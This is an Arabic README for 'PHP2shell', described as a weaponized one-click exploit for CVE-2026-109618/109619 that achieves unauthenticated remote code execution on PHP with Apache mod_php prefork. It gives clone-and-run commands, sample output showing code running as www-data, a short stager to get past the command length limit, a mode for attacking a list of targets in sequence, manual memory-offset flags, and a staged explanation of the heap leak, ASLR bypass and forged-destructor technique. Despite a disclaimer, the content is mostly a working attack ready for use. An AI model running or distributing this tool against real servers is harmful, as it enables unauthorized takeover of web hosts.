
حزمة إثبات مفهوم (PoC) لاستغلال CVE-2026-109618 وCVE-2026-109619 بنقرة واحدة ضد أهداف PHP + Apache mod_php (prefork) المعرّضة للثغرة.
إثبات مفهوم (PoC) مسلَّح بنقرة واحدة لـ CVE-2026-109618 و CVE-2026-109619
يستهدف عمليات نشر PHP + Apache mod_php (prefork) المعرّضة للثغرات.
⚠️ تحذير: تُقدَّم هذه الأداة حصريًا لاختبارات الأمان المصرَّح بها، ومسابقات CTF، والبحث التعليمي. لا تستخدمها ضد أي بنية تحتية لا تملكها أو لا تملك إذنًا صريحًا باختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
PHP2shell هو استغلال متعدد المراحل لإفساد الذاكرة يستهدف نواة PHP داخل بيئات Apache mod_php prefork.
من خلال استغلال معالجة نفاد الذاكرة (OOM) والحالة المملوكة للطلب التي تبقى في العمال الدائمين (persistent workers)، يتجاوز هذا الاستغلال ASLR (التوزيع العشوائي لتخطيط مساحة العناوين)، ويسرّب مؤشرات داخلية للـ heap وlibphp.so، ويزوّر بنى PHP لتحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة.
bookworm (الافتراضي): صورة Docker الرسمية php:8.4.26-apache على Debian Bookworm.lab: بناء مختبري مخصص (PHP 8.4.26، Apache 2.4.68، Debian 12، gcc 12).ابدأ التشغيل في ثوانٍ.
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
نظرًا لحجم الحامل البالغ 167 بايت، فإن طول الأمر محدود بشكل صارم بـ 14 بايت. لتنفيذ حمولات أطول، استخدم stager قصير:
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
أنشئ ملف targets.txt:
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
نفّذ الاستغلال تسلسليًا ضد جميع الأهداف:
python3 php2shell.py -t targets.txt
إذا استخرجت الإزاحات يدويًا أو كنت تستهدف بناءً مخصصًا، فمرّرها مباشرةً:
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
بدلاً من التحقق من ملف محلي، أجبر الاستغلال على التحقق من RCE عن طريق جلب ملف عبر HTTP:
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| الوسيطة | الوصف |
|---|---|
-u, --url | عنوان URL لصفحة PHP الهدف |
-t, --target-file | ملف يحتوي على عنوان URL هدف واحد في كل سطر |
-c, --cmd | الأمر المراد تنفيذه (بحد أقصى 14 بايت) |
--proof-file | ملف إثبات محلي للتحقق منه (الافتراضي: out/p1) |
--fetch | مسار GET للتحقق من الاستغلال عن بُعد |
--profile | ملف تعريف الهدف: bookworm (الافتراضي) أو lab |
--zif-offset | إزاحة zif_system في libphp.so |
--dtor-offset | إزاحة ZVAL_PTR_DTOR في libphp.so |
--htdata-offset | الإزاحة النسبية للكتلة (chunk) للسلسلة النصية ذات 167 بايت |
--retries | عدد المحاولات لكل مرحلة تسريب (الافتراضي: 3) |
--no-color | تعطيل ألوان ANSI |
| المرحلة 0 | تدوير العامل (Worker Rotation): يرسل طلبًا مفرط الحجم لإجبار Apache prefork على إجهاض العامل الحالي وإنشاء عملية فرعية جديدة بكومة (heap) نظيفة. |
| المرحلة 1 | تسريب الكومة (Heap Leak): يُحدث تلفًا في الذاكرة (OOM corruption) بحيث يشير مؤشر عام على مستوى الوحدة (module-global) إلى ذاكرة محرَّرة. تستعيد حقول النموذج المرشَّشة (sprayed) الخانة بسلسلة zend_string مزوّرة، مما يسرب مؤشرات الكومة عبر Set-Cookie. |
| المرحلة 2 | تجاوز ASLR: يسرب مؤشر zval_ptr_dtor من libphp.so. وطرح قيمة DTOR_OFFSET المعروفة يكشف عنوان قاعدة المكتبة. |
| المرحلة 3 | تنفيذ التعليمات عن بُعد (RCE): يزوّر HashTable وهميًا ويضبط pDestructor على libphp_base + ZIF_OFFSET. تستدعي روتين التنظيف في PHP الدالة zif_system بأمرك. |
مرخَّص بموجب MIT License. راجع LICENSE للتفاصيل.
صُنع بـ 🔥 بواسطة 0xgh057r3c0n